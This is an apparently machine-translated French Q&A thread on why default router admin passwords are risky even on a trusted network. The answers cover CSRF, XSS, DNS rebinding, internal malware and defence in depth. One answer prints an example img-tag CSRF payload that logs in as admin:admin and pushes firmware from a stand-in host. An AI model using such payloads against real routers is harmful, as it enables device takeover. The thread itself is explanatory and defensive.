Est-il dangereux d'utiliser les mots de passe administrateur du routeur par défaut si seuls les utilisateurs de confiance sont autorisés sur le réseau?
Il y a beaucoup de articlesadressageles dangers des mots de passe administrateur du routeur par défaut . Certaines applications de sécurité détectent également les mots de passe administrateur du routeur par défaut comme une vulnérabilité. Cependant, ces articles se concentrent tous sur ce qui pourrait se produire si votre routeur était compromis.
Mais supposons que nous ayons un routeur configuré de telle sorte que le panneau d'administration ne soit ouvert qu'au réseau local. De plus, supposons que le mot de passe pour se connecter au réseau (c'est-à-dire via le wifi) soit suffisamment sécurisé (c'est-à-dire une entropie très élevée), et seuls les utilisateurs de confiance sont autorisés sur le réseau.
Dans ces conditions, le routeur pourrait-il encore être compromis? Est-il toujours nécessaire de changer le mot de passe administrateur du routeur par défaut? Mes pensées sont que si un attaquant ne peut pas accéder au réseau, il ne peut pas compromettre le routeur quel que soit le mot de passe administrateur du routeur . CSRF est une possibilité, mais cela peut être défendu avec un jeton CSRF. Y a-t-il d'autres possibilités que je n'ai pas envisagées?
Est-il dangereux d'utiliser les mots de passe administrateur du routeur par défaut si seuls les utilisateurs de confiance sont autorisés sur le réseau?
Oui, c'est dangereux. Voici quelques façons plus "techniques" de le faire (autre que de dire que c'est mauvais):
1. Pas de protection CSRF
Vous pourriez être heureux de visiter un site Web et il pourrait y avoir un certain nombre de problèmes:
- Le site Web lui-même a été piraté et contient du contenu malveillant, ou;
- Tous les éléments de la page ont été MITM au milieu attaqués (tais-toi, j'essaie d'être drôle) et ont eu des éléments interceptés avec The Thing (tm), et;
L'attaque CSRF a été insérée par style, img, lien ou toute autre chose:
Exemple approximatif:
<img src="http://admin:[email protected]/updateFirmware.cgi?file=hxxp://hax.com/hax.bin&confirmUpgrade=true"/>
Dans de nombreux cas, la protection CSRF n'aidera pas si vous pouvez vous connecter avec admin: admin @ routerip via un lien comme celui-ci. Il créera une nouvelle session et un nouveau jeton pour vous au lieu d'utiliser votre session actuelle.
Félicitations pour votre nouvelle installation de Router Backdoor (tm) avec un accès complet à Shell.
2. La protection CSRF existe, mais pas la protection XSS appropriée
Échapper le contexte et insérer hax.js, ou simplement du code JS qui pourrait exécuter les fonctions suivantes:
- Voler un jeton CSRF avec javascript
- Voir
<img src=""/>au dessus de.
Aussi, .svg les images peuvent contourner une grande partie de la protection XSS.
3. La page de configuration du routeur est accessible via le réseau sans fil?
Quelqu'un se connecte à votre réseau sans fil, visite la page de configuration du routeur et apporte les modifications/mises à niveau nécessaires au micrologiciel/redirige DNS/tout ce qu'il veut. Comme le premier, mais avec une interface pointer-cliquer à la place.
4. Autres moyens
- Employés mécontents
- Si quelqu'un trouve son chemin sur votre réseau via une autre machine compromise, il peut utiliser cette machine pour compromettre votre routeur et vous serez désossé.
Gardez à l'esprit que des attaques XSS/CSRF peuvent exister, voire être ajoutées pendant les mises à niveau, si le fournisseur est nul.
Alors ne le fais pas. S'il vous plaît. Mon cœur ne peut pas le supporter. :(
Comme vous l'avez bien remarqué, les attaques CSRF sont une possibilité. La prévention des attaques CSRF est possible avec un jeton CSRF, mais ce n'est rien que vous puissiez faire en tant qu'utilisateur du routeur. Donc, si vous êtes un fournisseur de routeurs, vous devez absolument mettre en œuvre la protection CSRF, mais en tant qu'utilisateur, vous devez vivre avec ce que le fournisseur vous offre et de nombreux fournisseurs ne disposent pas d'une protection CSRF appropriée.
Au-delà de CSRF, il existe d'autres attaques qui peuvent être utilisées contre le routeur. De manière similaire à CSRF, beaucoup d'entre eux utilisent le navigateur comme trampoline, c'est-à-dire nécessitent simplement une visite sur un site Web qui a des exploits intégrés (comme intégrés dans des publicités) et ne nécessite pas de compromis sur l'ordinateur de l'utilisateur. Parmi ceux-ci, on peut citer les attaques de script intersite (XSS) et de rebinding DNS. Là encore, le vendeur pourrait mettre en œuvre une protection appropriée en théorie, mais dans la pratique, cela n'est souvent pas fait.
Et même les utilisateurs de confiance peuvent voir leur système compromis de diverses manières. Dans ce cas, l'attaquant se trouve à l'intérieur du réseau de confiance et la connaissance des mots de passe par défaut facilite beaucoup le détournement du routeur et rend le contrôle de l'attaquant sur le réseau plus permanent et moins évident de cette façon.
Cela signifie que même si vous pensez avoir une protection appropriée, vous devez modifier le mot de passe par défaut dans un esprit de défense en profondeur. Plus un attaquant doit découvrir d'inconnues pour s'infiltrer dans le réseau, plus vous le faites durement et mieux vous sécurisez votre réseau. Et bien sûr, cela s'applique non seulement au mot de passe, mais à la sécurité générale du routeur, c'est-à-dire que certains routeurs ont des bogues ou même des portes dérobées où vous n'avez même pas besoin de connaître le mot de passe de l'utilisateur pour une prise de contrôle. Et ce ne sont pas seulement des routeurs, mais vous devez également faire attention aux autres appareils comme les imprimantes, les scanners, les ampoules intelligentes, la télévision, etc.
Oui, les routeurs ont été compromis par des logiciels malveillants s'exécutant à l'intérieur du réseau, test d'une liste de mots de passe par défaut. Le logiciel malveillant pénètre dans le réseau via une pièce jointe de phishing infectée ou un exploit de navigateur.
Si vous avez la possibilité de valider le routeur ne peut pas être reconfiguré en dehors du réseau local, vous avez non seulement la possibilité de modifier le mot de passe par défaut, vous avez le devoir de le corriger.
Je trouve extraordinaire que cette question ait été posée, et je ne suis même pas un professionnel de la sécurité. C'est un peu comme demander "Est-ce OK de laisser le coffre de banque déverrouillé si seuls les caissiers de confiance sont autorisés dans le sous-sol?". On ne sait pas par où commencer pour répondre. Je me demande à moitié si la question était une liquidation de style ALi G, publiée pour le sport.
Un mot de passe par défaut - pour rien du tout - n'est guère mieux qu'un système n'utilisant pas de mot de passe. Dans un sens, elle est en fait pire, car elle favorise l'illusion de la protection par mot de passe (qui pourrait être une hypothèse fondamentale sur laquelle d'autres parties de la sécurité du système s'appuient, dans un système de freins et contrepoids et de contrôles compensatoires) alors qu'en réalité, une personne malveillante est maintenant entrée. Cela devient une sorte de porte dérobée pour ceux qui sont au courant. Lors de salons informatiques, des testeurs de stylos font régulièrement des démonstrations de la facilité avec laquelle il est possible de rechercher des mots de passe par défaut dans les fiches techniques des fournisseurs et sur le Web.
Les problèmes de mot de passe par défaut vont s'aggraver lorsque l'Internet des objets, cet exemple ultime d'une offre sans demande, se lance. Je suis encore sous le choc de voir une carte d'affichage projetée de toutes les bouilloires Internet piratables (oui, vraiment) à Londres qui révélaient l'IP de l'ordinateur de leur propriétaire et apprenaient les poupées équipées de caméras qui ont été transformées en espions à distance sur leurs utilisateurs et reprogrammées pour jure jurons.
OUI!
Tu n'utiliseras pas de nom d'utilisateur ou de mot de passe par défaut
Voici la raison pour laquelle:
- Les routeurs sont tristement célèbres pour être vulnérables aux portes dérobées. [c'est-à-dire que même si vous avez configuré les interfaces administratives pour qu'elles soient accessibles uniquement via le réseau local, il est peu probable qu'elles aient un port de porte dérobée sournois qui est exposé à Internet.
- Les consoles Web de routeur sont réputées pour être vulnérables à CSRF, XSS et à un tas d'autres vulnérabilités. En enchaînant les deux ci-dessus, un attaquant peut forcer un utilisateur sans méfiance à se connecter avec un mot de passe par défaut et même envoyer des demandes valides pour modifier les configurations. Fait intéressant, toutes ces actions peuvent être effectuées en arrière-plan, pendant que l'utilisateur joue à un jeu Web;)
- La sécurité WiFi ne dépend pas entièrement de l'entropie des mots de passe. Cela dépend également de l'algorithme utilisé.
- Il existe des vulnérabilités Zero Day et tous les utilisateurs de confiance peuvent en être victimes. Si leurs comptes sont compromis, vous auriez des ennuis.
- Enfin et surtout;
CSRF est une possibilité, mais cela peut être défendu avec un jeton CSRF.
Tadaa .. aucun des routeurs ne l'a encore corrigé pour leurs interfaces. Au 23e siècle, probablement.
Même un utilisateur de confiance peut pirater sa machine. En utilisant cela comme point de départ, un attaquant peut avoir un accès complet à vos routeurs. En d'autres termes, vous auriez une protection réduite en cas d'attaque de l'intérieur. Ceci est un exemple classique d'être aveugle - un cheval de Troie.
Cela peut sembler sarcastique, mais si vous êtes assez paresseux pour ne pas changer le mot de passe par défaut parce que l'appareil est dans un réseau isolé, ce qui veut dire que quelqu'un n'était pas aussi paresseux dans la configuration de ce réseau sécurisé. De plus, votre accès via le wifi déjoue l'idée que ce réseau est suffisamment sécurisé. La seule façon d'isoler physiquement un périphérique réseau de manière à ce que le mot de passe par défaut soit sûr, serait de ne rien y brancher (y compris l'alimentation), de l'enfermer dans du béton, puis de le déposer dans la tranchée Marianas. Ensuite, vous auriez encore à vous soucier de l'accès de James Cameron.
Si le périphérique que vous utilisez pour un point d'accès sans fil finit par être compromis ... si ce réseau contient des informations sensibles, vous allez finir par avoir du mauvais temps.
Est-il hautement improbable que quelqu'un exploite une vulnérabilité de votre routeur sans fil? Oui.
Est-ce une possibilité? Oui.
Si vous êtes même sérieux à distance sur la sécurité du réseau, vous devez TOUJOURS changer le mot de passe par défaut sur votre routeur!
En plus des dispositifs de sécurité d'entreprise décents (par exemple ceux qui effectuent des analyses de réseau de routine, des IDS, des fichiers hôtes personnalisés - tout ça), rien n'empêche les logiciels malveillants de pénétrer sur votre réseau et d'exploiter le fait que vos mots de passe sont définis sur quelque chose par défaut.
À la fin de la journée, vos utilisateurs finaux vont infecter votre réseau.
Ce n'est pas peut-être, c'est juste une question de temps.
Disons que "Jan en comptabilité" a 86 ans et connaît Jack sur Infosec.
Elle est plus dangereuse que TOUTES les autres menaces auxquelles vous pouvez faire face au quotidien.
Changez votre mot de passe. Modifiez le nom d'utilisateur par défaut.
Vous pouvez mettre en œuvre toutes sortes de mesures de protection tout en étant compromis en raison d'un nom d'utilisateur et d'un mot de passe par défaut. Employé mécontent, certains sont intelligents et apprennent encore le script kiddie (pendant que vous amenez votre enfant au travail), toutes sortes de choses peuvent arriver.
Pourquoi prendre de l'essor dans une entreprise?
Et quand vous changez ce mot de passe pour l'amour de Dieu, ne faites pas quelque chose de stupide. J'ai vu la configuration de réseaux (partages ouverts avec autorisation de tout le monde ... tout ce qui crie quoi et où il est ... qui ont des informations extrêmement sensibles sur eux) et le mot de passe .... pour un routeur orienté vers l'extérieur est quelque chose de similaire à '1234 # businessname' .... Je me sens un peu obligé de contacter leurs clients et de leur faire savoir qu'ils ont engagé une société de gestion informatique qui ne prend pas la sécurité au sérieux.
Là encore, j'ai de meilleures choses à faire.
Chaque fois qu'ils sont touchés par un cryptolocker, ils finiront par faire face aux conséquences.
Perdre un client de 50 000 $/an peut vraiment nuire à une petite entreprise.
Je suis troublé par la pensée derrière "Mes pensées sont que si un attaquant ne peut pas entrer dans le réseau, il ne peut pas compromettre le routeur ...". Cela semble trahir une totale méconnaissance du principe de ségrégation en toute sécurité.
On contrôle un risque avec des mesures pertinentes directement applicables à l'endroit où il se présente, plutôt que de se fier entièrement aux effets indirects des contrôles globaux ou plus éloignés ailleurs.
Les navires ne doivent pas laisser entrer d'eau (bonne sécurité du périmètre), mais le constructeur de navires diligent adapte toujours les cloisons sous le pont, de sorte que toute pénétration d'eau qui se produit en violation de tous les efforts de conception fine ailleurs est toujours limitée à une petite zone (limitation des dommages par compartimentation). Le Herald of Free Enterprise, dont le nom est fatal, a réduit les coûts en ne prenant pas la peine d'installer des cloisons. Le 6 mars 1987, par erreur de l'opérateur, il a laissé entrer de l'eau par les portes avant ouvertes. Il a été violemment répertorié et n'a pris que 90 secondes pour chavirer alors qu'il était à peine sorti du port. 193 personnes sont mortes dans l'eau presque glaciale.
Je me demande s'il y a une réflexion implicite derrière le Q original qui dit: "Un risque: donc un contrôle pour le trier". Alors qu'en réalité, la relation entre les risques et les contrôles est multiple, pas un.
Vous pouvez avoir une alarme de voiture. Ce contrôle aborde le risque de vol d'articles portables dans la voiture, et il traite également le risque distinct de la prise et de la conduite de la voiture. (i): Un contrôle; plus d'un risque connexe.
Vous avez également une porte de voiture verrouillable. Il s'agit d'un contrôle différent, mais il traite les deux risques ci-dessus.
Chaque risque est traité par plusieurs commandes (alarme et serrure de porte).
Donc (ii): Un risque (en prenant chacun à son tour); plusieurs contrôles associés.
Vous ne perdriez pas la peine de verrouiller la portière de votre voiture simplement parce que vous avez une alarme de voiture. Et contre le vol de voiture, vous pourriez également avoir un appareil Krooklok ou une barre de volant, ou un mot de passe d'allumage ou un bip, ou un suivi GPS à distance (trois, quatre ou même cinq commandes contre un risque). Contre les tentatives ultérieures de vendre ou de cloner le véhicule, vous avez le numéro de châssis gravé sur le pare-brise plus au moins un endroit secret (jusqu'à six contrôles contre le vol de voiture ou ses conséquences directes).
Aucun de ces contrôles n'est superflu simplement parce que d'autres sont en place, bien que je pense que la plupart d'entre nous considéreraient tous les six comme excessifs et ne se soucieraient pas des inconvénients d'une alarme capricieuse ou d'un appareil physique encombrant qui doit être déverrouillé si la sécurité est moins lourde. est également en place.
En résumé, la relation entre les risques et les contrôles qui les traitent n'est pas un à un, et cela s'applique autant aux réseaux et aux routeurs qu'autre chose.
Vous avez peut-être entendu parler de "" Mieux vaut prévenir que guérir ".
Ne soyez pas si paresseux, que vous ne voulez même pas changer le mot de passe par défaut pour vos routeurs. Ce sont des trucs de base de la classe 101. Toujours changer le mot de passe par défaut. Peu importe à quel point les conditions sont sécurisées aujourd'hui. Ils changent avec le temps. On ne sait jamais quel type d'attaque sera inventé à l'avenir. Tenez-vous pour tout.
En règle générale, ne vous fiez jamais à un seul point de défaillance. Tout le monde ici a des points valides. Si quelqu'un veut vraiment sur votre réseau, ce n'est vraiment qu'une question de temps avant d'avoir accès. Qu'il s'agisse d'une attaque par force brute, d'une attaque DDOS ou simplement d'une ingénierie sociale qui incite l'un de vos utilisateurs authentifiés à divulguer ses informations d'identification, un seul point de défaillance échouera finalement. Sécurisez tout ce qui est important sur votre réseau comme s'il était directement exposé à Internet. Gardez également à l'esprit que si vous stockez des informations sensibles sur les clients, vous êtes responsable et responsable devant les tribunaux en cas de fuite.
En principe, cela ne prend même pas de temps à se déployer. Si votre modèle de routeur est configuré avec un mot de passe apparemment non aléatoire, le fabricant n'essaie même pas de chercher sécurisé; ils doivent être considérés comme non fiables. Les fabricants qui tentent de vendre des routeurs bon marché sont notoirement cela ne vaut pas la peine de donner le bénéfice du doute . Vous disposez maintenant d'un routeur non fiable. Comme vous le dites, ce serait un sérieux facteur de risque.
Les routeurs désignés comme n'ayant que des utilisateurs de confiance (même à l'exclusion des ports externes) ne sont pas courants.
Systèmes domestiques Hébergez des smartphones avec une sécurité médiocre (mises à jour), par exemple.
Systèmes d'entreprise Héberger des utilisateurs qui ne devraient généralement pas modifier les paramètres d'infrastructure.
Les réseaux configurés comme un exercice ne devraient clairement pas utiliser des paramètres non sécurisés simplement parce que vous pouvez vous en tirer; l'exercice est vaincu. (Exception: l'exercice vise spécifiquement à démontrer les défauts non sécurisés).
Les réseaux de tests méritent toujours une certaine attention. Dans certains cas, vous vous attendez à ce qu'ils correspondent à votre description. Cependant, en déterminant cela, vous vous efforceriez d'omettre la sécurité standard. Encore une fois, en principe, vous n'avez aucune raison de saboter le système comme celui-ci.
Diceware est un peu ennuyeux, mais il réduit le problème à la génération de nombres aléatoires décents. Google un site Web pour vous générer une page de lancers de dés aléatoires, et choisissez les lancers au hasard. Enregistrez le mot de passe sur le routeur et c'est parti.